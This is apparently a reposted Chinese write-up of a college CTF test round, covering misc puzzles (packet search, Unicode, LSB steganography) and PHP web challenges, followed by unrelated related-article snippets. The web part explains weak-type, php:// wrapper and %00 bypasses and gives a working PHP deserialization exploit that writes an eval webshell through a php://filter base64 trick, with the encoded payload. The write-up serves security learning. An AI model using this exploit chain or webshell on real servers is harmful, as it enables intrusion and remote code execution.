WP光电信息学院2023年网络安全季度挑战赛-测试赛

签个到就跑WP

Misc

MISC-没爱了,下一个

下载附件压缩包解压之后,获得一个流量包文件
image.png
使用wireShark打开流量包,Ctrl + F 搜索flag{即可获得flag
image.png

flag{Good_b0y_W3ll_Done}

MISC-送你一朵小花花

下载附件压缩包解压之后,获得一个JPG图片文件
image.png
用010打开查看,在文件尾部发现Unicode编码
image.png
使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
即可获得flag
image.png

key{you are right}

MISC-镜子里面的世界

考察LSB隐写
image.png
image.png
image.png
image.png

flag{st3g0_saurus_wr3cks}

Web

WEB_workhard

参考博客:

  • http://t.csdnimg.cn/GzmwA
  • https://www.cnblogs.com/baifan2618/p/7815090.html
  • https://www.jianshu.com/p/f6447e2e35e3

打开后什么也没有,查看源代码,发现一个txt,访问后发现php代码。典型的代码审计,考查了几个函数

  1. -eregi
eregi — 不区分大小写的正则表达式匹配
int eregi( string $pattern, string $string[, array &$regs] )本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 
Example #1 eregi() 例子
<?php
$string = 'XYZ';if (eregi('z', $string)) {echo "'$string' contains a 'z' or 'Z'!";
}
?> 

2.strlen()计算字符长度。
3.file_get_contents(),将文本以字符串的形式输出。
4.stripos — 查找字符串首次出现的位置(不区分大小写)

if(!$_GET['id'])//id不能为零
{header('Location: index.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能有点
{echo 'Hahahahahaha';return ;
}
$data = @file_get_contents($a,'r');//a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
{require("flag.txt");
}
else
{print "work harder!harder!harder!";
}

所以题的大致意思就是,传递三个参数,id不能为零,但是要等于零,a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话,b要长度大于5,第一个数字不能为4。

  • id这个绕过需要用弱类型来解决 id=‘a’
  • a这个绕过需要用到php伪协议,a=php://input或者 a=data:,1112 is a nice lab!
  • b这个绕过需要用到%00截断,当eregi这个函数遇到%00时,就不会再继续比较了。
  • 给出payload,体会一下

然后获得flag

WEB_login_wc

注册一个admin管理员账号登录即可

WEB_simple_ser

image.png
参考:https://zhuanlan.zhihu.com/p/51628607
查考php反序列化,任意文件写入,函数绕过
1.打开题目进行源码审计,通过代码可以看出考点应为反序列化的漏洞,通过fileput函数,进行文件的写入

<?php 
class cls1{ var $cls; var $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->cls->$v; } } 
} class cls2{ var $filename = 'hello.php'; var $txt = ''; function __get($key){ if($key == 'fileput'){ return $this->fileput(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; } } function fileput(){ if(    strpos($this->filename,'../') !== false || strpos($this->filename,'\\') !== false      ) die(); $content = '<?php die(\'stupid\'); ?>'; $content .= $this->txt; file_put_contents($this->filename, $content); return htmlspecialchars($content); } } if(!empty($_POST)){ $cls = base64_decode($_POST['ser']); $instance = unserialize($cls); 
}else{ $a = new cls1(); $a->show(); 
}

2.构造反序列化代码

<?php
class cls1{var $cls;var $arr;function __construct(){$this->cls = new cls2();$this->arr = array('fileput'=>'fileput');}
}class cls2{var $filename = 'e.php';var $txt = '<?php phpinfo();';
}
print_r(base64_encode(serialize(new cls1())));

3.使用该代码传入post的ser参数,可以在服务器当前目录下生成e.php文件,但是应为程序会写入die()函数,所以 并没有执行我们构造的代码
4.我们可以通过使用php://filter来绕过这个限制,这里也可以使用其他方法。
利用php://filter/write=convert.base64-decode/resource=e.php就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符,从而执行我们想执行的代码

  • 具体payload如下
<?php
class cls1{var $cls;var $arr;function __construct(){$this->cls = new cls2();$this->arr = array('fileput'=>'fileput');}
}class cls2{var $filename ;var $txt;function __construct(){$this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';$this->txt = '<?php @eval($_POST["1"]);';$this->txt = base64_encode($this->txt);}
}print_r(base64_encode(serialize(new cls1())));
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==

6.然后webshell连接工具连上,就可以在根目录看到flag了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/175036.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PCA9698的IIC转接GPIO控制N路灯

PCA9698验证灯的办法和PCA9535验证6路数字继电器&#xff0c;编译成ko直接Insmod&#xff0c;然后查看/dev/节点有了吗&#xff1f;然后用iictool命令往对应iic地址上面写数据&#xff0c;看看灯亮灭或者听继电器开关声响&#xff0c;至于写多少&#xff0c;研究芯片手册上面参…

第四天课程 分布式搜索引擎1

分布式搜索引擎01 – elasticsearch基础 0.学习目标 1.初识elasticsearch 1.1.了解ES 1.1.1.elasticsearch的作用 elasticsearch是一款非常强大的开源搜索引擎&#xff0c;具备非常多强大功能&#xff0c;可以帮助我们从海量数据中快速找到需要的内容 例如&#xff1a; …

electronjs入门-编辑器应用程序

我们将在Electron中创建一个新项目&#xff0c;如我们在第1章中所示&#xff0c;名为“编辑器”&#xff0c;我们将在下一章中使用它来创建编辑器&#xff1b;在index.js中&#xff0c;这是我们的主要过程&#xff1b;请记住为Electron软件包放置必要的依赖项&#xff1a; npm…

LeetCode【238】除自身意外的数组的乘积

题目&#xff1a; 思路&#xff1a; https://zhuanlan.zhihu.com/p/109306706?utm_id0 代码&#xff1a; int n nums.length;int[] l new int[nums.length];int[] r new int[nums.length];l[0] 1;r[n-1] 1;for (int i1;i<nums.length;i) {l[i] l[i-1] * nums[i-1]…

No209.精选前端面试题,享受每天的挑战和学习

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…

selenium报错:没有打开网页或selenium.common.exceptions.NoSuchDriverException

文章目录 问题解决方法 问题 当selenium的环境配置没有问题&#xff0c;但在使用selenium访问浏览器时并没有打开网页&#xff0c;或者出现selenium.common.exceptions.NoSuchDriverException报错信息&#xff08;如下图所示&#xff09;。 以上问题可能的原因是没有配置chrom…

【每日一题】K 个元素的最大和

文章目录 Tag题目来源解题思路方法一&#xff1a;贪心 其他语言Cpython3 写在最后 Tag 【贪心】【脑筋急转弯】【数组】【2023-11-15】 题目来源 2656. K 个元素的最大和 解题思路 方法一&#xff1a;贪心 从第一次操作开始每次选择数组中的最大值&#xff0c;由于最大值在…

算法萌新闯力扣:同构字符串

力扣题&#xff1a;同构字符串 开篇 对于字符串相关的题目&#xff0c;哈希表经常会使用到&#xff0c;这道题更是如此&#xff0c;还用到了两个哈希表。拿下它&#xff0c;你对字符串题目的理解就会更上一层楼。 题目链接:205.同构字符串 题目描述 代码思路 看完题目后&a…

爬虫----robots.txt 协议简介

文章目录 robots.txt 是一个用于指示网络爬虫(web spider或web robot)如何与网站上的内容进行交互的协议。这个文件被网站管理员放置在网站的根目录下,用于告知爬虫哪些部分的网站是可以被抓取的,哪些是不被允许的。以下是 robots.txt 协议的一些关键要点: 控制爬虫访问:…

〖大前端 - 基础入门三大核心之JS篇㉟〗- JavaScript 的DOM简介

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;不渴望力量的哈士奇(哈哥)&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xf…

1688往微信小程序自营商城铺货商品采集API接口

一、背景介绍 随着移动互联网的快速发展&#xff0c;微信小程序作为一种新型的电商形态&#xff0c;正逐渐成为广大商家拓展销售渠道、提升品牌影响力的重要平台。然而&#xff0c;对于许多传统企业而言&#xff0c;如何将商品信息快速、准确地铺货到微信小程序自营商城是一个…

【运维 监控】Grafana + Prometheus,监控Linux

安装和配置Grafana与Prometheus需要一些步骤&#xff0c;下面是一个简单的指南&#xff1a; 安装 Prometheus&#xff1a; 使用包管理器安装 Prometheus。在 Debian/Ubuntu 上&#xff0c;可以使用以下命令&#xff1a; sudo apt-get update sudo apt-get install prometheus在…